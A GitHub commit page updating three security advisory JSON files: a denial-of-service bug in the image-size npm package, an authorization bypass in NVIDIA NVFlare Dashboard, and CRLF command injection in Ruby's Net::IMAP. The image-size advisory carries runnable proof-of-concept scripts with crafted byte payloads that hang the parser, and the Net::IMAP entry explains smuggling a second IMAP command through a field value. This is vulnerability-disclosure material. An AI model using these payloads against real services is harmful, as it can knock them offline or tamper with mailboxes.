Skip to content

Commit ce1c796

Browse files
1 parent 92b1841 commit ce1c796

3 files changed

Lines changed: 124 additions & 6 deletions

File tree

advisories/github-reviewed/2025/04/GHSA-m5qc-5hw7-8vg7/GHSA-m5qc-5hw7-8vg7.json

Lines changed: 4 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -1,9 +1,11 @@
11
{
22
"schema_version": "1.4.0",
33
"id": "GHSA-m5qc-5hw7-8vg7",
4-
"modified": "2025-05-28T15:04:08Z",
4+
"modified": "2026-06-09T20:30:49Z",
55
"published": "2025-04-02T15:04:58Z",
6-
"aliases": [],
6+
"aliases": [
7+
"CVE-2025-71319"
8+
],
79
"summary": "image-size Denial of Service via Infinite Loop during Image Processing",
810
"details": "### Summary\n\n`image-size` is vulnerable to a Denial of Service vulnerability when processing specially crafted images.\n\nThe issue occurs because of an infine loop in `findBox` when processing certain images with a box with size `0`.\n\n\n### Details\n\nIf the first bytes of the input does not match any bytes in `firstBytes`, then the package tries to validate the image using other handlers:\n```js\n// https://github.com/image-size/image-size/blob/v1.2.0/lib/detector.ts#L20-L31\nexport function detector(input: Uint8Array): imageType | undefined {\n const byte = input[0]\n if (byte in firstBytes) {\n const type = firstBytes[byte]\n if (type && typeHandlers[type].validate(input)) {\n return type\n }\n }\n\n const finder = (key: imageType) => typeHandlers[key].validate(input) //<--\n return keys.find(finder)\n}\n```\n\nSome handlers that call `findBox` to validate or calculate the image size are `jxl`, `heif` and `jp2`.\n\n`JXL` handler calls `findBox` inside `validate`. To reach the `findBox` call, the value at position `4:8` should be `'JXL '`\n```js\n// https://github.com/image-size/image-size/blob/v1.2.0/lib/types/jxl.ts#L51-L60\nexport const JXL: IImage = {\n validate: (input: Uint8Array): boolean => {\n const boxType = toUTF8String(input, 4, 8)\n if (boxType !== 'JXL ') return false //<---\n\n const ftypBox = findBox(input, 'ftyp', 0) //<---\n if (!ftypBox) return false\n\n const brand = toUTF8String(input, ftypBox.offset + 8, ftypBox.offset + 12)\n return brand === 'jxl '\n },\n```\n\n`findBox` can lead to an infinite loop because the value of `box.size` is `0`, thus the `offset` variable is not updated. Below relevant code with comments (using one of the `PAYLOAD` below as example):\n```js\n// https://github.com/image-size/image-size/blob/v1.2.0/lib/types/utils.ts#L33-L37\nexport const readUInt32BE = (input: Uint8Array, offset = 0) =>\n input[offset] * 2 ** 24 + // 0 +\n input[offset + 1] * 2 ** 16 + // 0 +\n input[offset + 2] * 2 ** 8 + // 0 +\n input[offset + 3] // 0\n\n// https://github.com/image-size/image-size/blob/v1.2.0/lib/types/utils.ts#L66-L75\nfunction readBox(input: Uint8Array, offset: number) { // offset: 0\n if (input.length - offset < 4) return\n const boxSize = readUInt32BE(input, offset) // 0\n if (input.length - offset < boxSize) return // (8 - 0) < 0 => false\n return {\n name: toUTF8String(input, 4 + offset, 8 + offset), // 'JXL '\n offset, // 0\n size: boxSize, // 0\n }\n}\n\n// https://github.com/image-size/image-size/blob/v1.2.0/lib/types/utils.ts#L77-L84\nexport function findBox(input: Uint8Array, boxName: string, offset: number) { // boxName: 'ftyp', offset: 0\n while (offset < input.length) { // 0 < 8 => false\n const box = readBox(input, offset) // { name: 'JXL ', offset: 0, size: 0 }\n if (!box) break // false\n if (box.name === boxName) return box // 'JXL ' === 'ftyp' => false\n offset += box.size // offset += 0\n }\n}\n\n```\n\nA similar issue occurs for `HEIF` and `JP2` handlers:\n- https://github.com/image-size/image-size/blob/v1.2.0/lib/types/heif.ts\n- https://github.com/image-size/image-size/blob/v1.2.0/lib/types/jp2.ts\n\n\n### PoC\n\nUsage:\n```bash\nnode main.js poc1|poc2\n```\n\n- poc for `image-size@2.0.1`\n```js\n// mkdir 2.0.1\n// cd 2.0.1/\n// npm i image-size@2.0.1\nconst {imageSizeFromFile} = require(\"image-size/fromFile\");\nconst {imageSize} = require(\"image-size\");\n\nconst fs = require('fs');\n\n// JXL\nconst PAYLOAD = new Uint8Array([\n 0x00, 0x00, 0x00, 0x00, // Box with size 0\n 0x4A, 0x58, 0x4C, 0x20, // \"JXL \"\n]);\n\n// HEIF\n// const PAYLOAD = new Uint8Array([\n// 0x00, 0x00, 0x00, 0x00, // Box with size 0\n// 0x66, 0x74, 0x79, 0x70, // \"ftyp\"\n// 0x61, 0x76, 0x69, 0x66 // \"avif\"\n// ]);\n\n// JP2\n// const PAYLOAD = new Uint8Array([\n// 0x00, 0x00, 0x00, 0x00, // Box with size 0\n// 0x6A, 0x50, 0x20, 0x20, // \"jP \"\n// ]);\n\nconst FILENAME = \"./poc.svg\"\n\nfunction createPayload() {\n fs.writeFileSync(FILENAME, PAYLOAD);\n}\n\nfunction poc1() { \n (async () => {\n await imageSizeFromFile(FILENAME)\n console.log('Done') // never executed\n })();\n}\n\nfunction poc2() {\n imageSize(PAYLOAD)\n console.log('Done') // never executed\n}\n\nconst pocs = new Map();\npocs.set('poc1', poc1); // node main.js poc1\npocs.set('poc2', poc2); // node main.js poc2\n\nasync function run() {\n createPayload()\n const args = process.argv.slice(2);\n const t = args[0];\n const poc = pocs.get(t) || poc1;\n console.log(`Running poc....`)\n await poc();\n}\n\nrun();\n```\n\n- poc for `image-size@1.2.0`\n```js\n// mkdir 1.2.0\n// cd 1.2.0/\n// npm i image-size@1.2.0\nconst sizeOf = require(\"image-size\");\nconst fs = require('fs');\n\n// JXL\nconst PAYLOAD = new Uint8Array([\n 0x00, 0x00, 0x00, 0x00, // Box with size 0\n 0x4A, 0x58, 0x4C, 0x20, // \"JXL \"\n]);\n\n// HEIF\n// const PAYLOAD = new Uint8Array([\n// 0x00, 0x00, 0x00, 0x00, // Box with size 0\n// 0x66, 0x74, 0x79, 0x70, // \"ftyp\"\n// 0x61, 0x76, 0x69, 0x66 // \"avif\"\n// ]);\n\n// JP2\n// const PAYLOAD = new Uint8Array([\n// 0x00, 0x00, 0x00, 0x00, // Box with size 0\n// 0x6A, 0x50, 0x20, 0x20, // \"jP \"\n// ]);\n\nconst FILENAME = \"./poc.svg\"\n\nfunction createPayload() {\n fs.writeFileSync(FILENAME, PAYLOAD);\n}\n\nfunction poc1() {\n sizeOf(FILENAME)\n console.log('Done') // never executed\n}\n\nfunction poc2() {\n sizeOf(PAYLOAD)\n console.log('Done') // never executed\n}\n\nconst pocs = new Map();\npocs.set('poc1', poc1); // node main.js poc1\npocs.set('poc2', poc2); // node main.js poc2\n\nasync function run() {\n createPayload()\n const args = process.argv.slice(2);\n const t = args[0];\n const poc = pocs.get(t) || poc1;\n console.log(`Running poc....`)\n await poc();\n}\n\nrun();\n```\n\n- poc for `image-size@1.1.1`\n```js\n// mkdir 1.1.1\n// cd 1.1.1/\n// npm i image-size@1.1.1\nconst sizeOf = require(\"image-size\");\nconst fs = require('fs');\n\n// HEIF\nconst PAYLOAD = new Uint8Array([\n 0x00, 0x00, 0x00, 0x00, // Box with size 0\n 0x66, 0x74, 0x79, 0x70, // \"ftyp\"\n 0x61, 0x76, 0x69, 0x66 // \"avif\"\n]);\n\nconst FILENAME = \"./poc.svg\"\n\nfunction createPayload() {\n fs.writeFileSync(FILENAME, PAYLOAD);\n}\n\nfunction poc1() {\n sizeOf(FILENAME)\n console.log('Done') // never executed\n}\n\nfunction poc2() {\n sizeOf(PAYLOAD)\n console.log('Done') // never executed\n}\n\nconst pocs = new Map();\npocs.set('poc1', poc1); // node main.js poc1\npocs.set('poc2', poc2); // node main.js poc2\n\nasync function run() {\n createPayload()\n const args = process.argv.slice(2);\n const t = args[0];\n const poc = pocs.get(t) || poc1;\n console.log(`Running poc....`)\n await poc();\n}\n\nrun();\n```\n\n\n### Impact\n\nDenial of Service",
911
"severity": [

advisories/unreviewed/2026/04/GHSA-jqp3-qrgh-4846/GHSA-jqp3-qrgh-4846.json renamed to advisories/github-reviewed/2026/04/GHSA-jqp3-qrgh-4846/GHSA-jqp3-qrgh-4846.json

Lines changed: 33 additions & 4 deletions
Original file line numberDiff line numberDiff line change
@@ -1,24 +1,53 @@
11
{
22
"schema_version": "1.4.0",
33
"id": "GHSA-jqp3-qrgh-4846",
4-
"modified": "2026-04-28T21:36:13Z",
4+
"modified": "2026-06-09T20:32:55Z",
55
"published": "2026-04-28T21:36:12Z",
66
"aliases": [
77
"CVE-2026-24178"
88
],
9+
"summary": "NVIDIA NVFlare Dashboard: Authorization bypass through user-controlled key via user management and authentication system",
910
"details": "NVIDIA NVFlare Dashboard contains a vulnerability in the user management and authentication system where an unauthenticated attacker may cause authorization bypass through user-controlled key. A successful exploit of this vulnerability may lead to privilege escalation, data tampering, information disclosure, code execution, and denial of service.",
1011
"severity": [
1112
{
1213
"type": "CVSS_V3",
1314
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H"
1415
}
1516
],
16-
"affected": [],
17+
"affected": [
18+
{
19+
"package": {
20+
"ecosystem": "PyPI",
21+
"name": "nvflare"
22+
},
23+
"ranges": [
24+
{
25+
"type": "ECOSYSTEM",
26+
"events": [
27+
{
28+
"introduced": "0"
29+
},
30+
{
31+
"fixed": "2.7.2"
32+
}
33+
]
34+
}
35+
]
36+
}
37+
],
1738
"references": [
1839
{
1940
"type": "ADVISORY",
2041
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-24178"
2142
},
43+
{
44+
"type": "PACKAGE",
45+
"url": "https://github.com/NVIDIA/NVFlare"
46+
},
47+
{
48+
"type": "WEB",
49+
"url": "https://github.com/pypa/advisory-database/tree/main/vulns/nvflare/PYSEC-2026-100.yaml"
50+
},
2251
{
2352
"type": "WEB",
2453
"url": "https://nvidia.custhelp.com/app/answers/detail/a_id/5819"
@@ -33,8 +62,8 @@
3362
"CWE-639"
3463
],
3564
"severity": "CRITICAL",
36-
"github_reviewed": false,
37-
"github_reviewed_at": null,
65+
"github_reviewed": true,
66+
"github_reviewed_at": "2026-06-09T20:32:55Z",
3867
"nvd_published_at": "2026-04-28T19:36:45Z"
3968
}
4069
}
Lines changed: 87 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,87 @@
1+
{
2+
"schema_version": "1.4.0",
3+
"id": "GHSA-46q3-7gv7-qmgg",
4+
"modified": "2026-06-09T20:31:52Z",
5+
"published": "2026-06-09T20:31:52Z",
6+
"aliases": [
7+
"CVE-2026-47242"
8+
],
9+
"summary": "Net::IMAP: Command Injection via ID command argument",
10+
"details": "### Summary\n\nTwo `Net::IMAP` commands, `#id` and `#enable`, do not validate their arguments. Arguments to either command could be used by an attacker to inject arbitrary IMAP commands.\n\nPlease note that passing untrusted inputs to these commands is usually inappropriate and expected to be uncommon.\n\n### Details\n\nWhen `Net::IMAP#id` is called with a hash argument, although the ID field value strings are correctly quoted (escaping quoted specials), they were not validated to prohibit CRLF sequences.\n\nWhile `Net::IMAP#enable` does process its arguments for aliases, it does not validate them as valid atoms (or as a list of valid atoms). The `#to_s` value is sent verbatim.\n\n### Impact\n\nThis is expected to impact very few users: use of untrusted user input for either command is expected to be very uncommon.\n\nThe documentation for `#enable` explicitly warns that using any arguments that are not in the explicitly supported list may result in undocumented behavior. Using arbitrary untrusted user input for `#enable` will always be inappropriate.\n\nAlthough client ID field values will most commonly be static and hardcoded, dynamic input sources may be used. For example, client ID fields may be set by configuration or version numbers. Using untrusted user inputs for client ID fields is expected to be uncommon. But any untrusted inputs to client ID can trivially exploit this vulnerability.\n\nUntrusted inputs to either command may include a CRLF sequence followed by a new IMAP command (like DELETE mailbox). Although this does not directly enable data exfiltration, it could be combined with other attack vectors or knowledge of the target system's attributes, e.g.: shared mail folders or the application's installed response handlers.\n\n### Mitigation\n\nUpdate to a version of `net-imap` which validates `#id` and `#enable` arguments.\n\nUntrusted inputs should _never_ be used for `#enable` arguments.\n\nIf `net-imap` cannot be upgraded:\n* do not use untrusted inputs for client ID field values\n* or add validation that client ID field values must not contain any CR or LF bytes.",
11+
"severity": [
12+
{
13+
"type": "CVSS_V4",
14+
"score": "CVSS:4.0/AV:L/AC:L/AT:P/PR:N/UI:P/VC:N/VI:H/VA:L/SC:N/SI:N/SA:N"
15+
}
16+
],
17+
"affected": [
18+
{
19+
"package": {
20+
"ecosystem": "RubyGems",
21+
"name": "net-imap"
22+
},
23+
"ranges": [
24+
{
25+
"type": "ECOSYSTEM",
26+
"events": [
27+
{
28+
"introduced": "0.6.0"
29+
},
30+
{
31+
"fixed": "0.6.4.1"
32+
}
33+
]
34+
}
35+
],
36+
"database_specific": {
37+
"last_known_affected_version_range": "<= 0.6.4"
38+
}
39+
},
40+
{
41+
"package": {
42+
"ecosystem": "RubyGems",
43+
"name": "net-imap"
44+
},
45+
"ranges": [
46+
{
47+
"type": "ECOSYSTEM",
48+
"events": [
49+
{
50+
"introduced": "0"
51+
},
52+
{
53+
"fixed": "0.5.15"
54+
}
55+
]
56+
}
57+
],
58+
"database_specific": {
59+
"last_known_affected_version_range": "<= 0.5.14"
60+
}
61+
}
62+
],
63+
"references": [
64+
{
65+
"type": "WEB",
66+
"url": "https://github.com/ruby/net-imap/security/advisories/GHSA-46q3-7gv7-qmgg"
67+
},
68+
{
69+
"type": "PACKAGE",
70+
"url": "https://github.com/ruby/net-imap"
71+
},
72+
{
73+
"type": "WEB",
74+
"url": "https://github.com/ruby/net-imap/releases/tag/v0.6.4.1"
75+
}
76+
],
77+
"database_specific": {
78+
"cwe_ids": [
79+
"CWE-77",
80+
"CWE-93"
81+
],
82+
"severity": "MODERATE",
83+
"github_reviewed": true,
84+
"github_reviewed_at": "2026-06-09T20:31:52Z",
85+
"nvd_published_at": null
86+
}
87+
}

0 commit comments

Comments
 (0)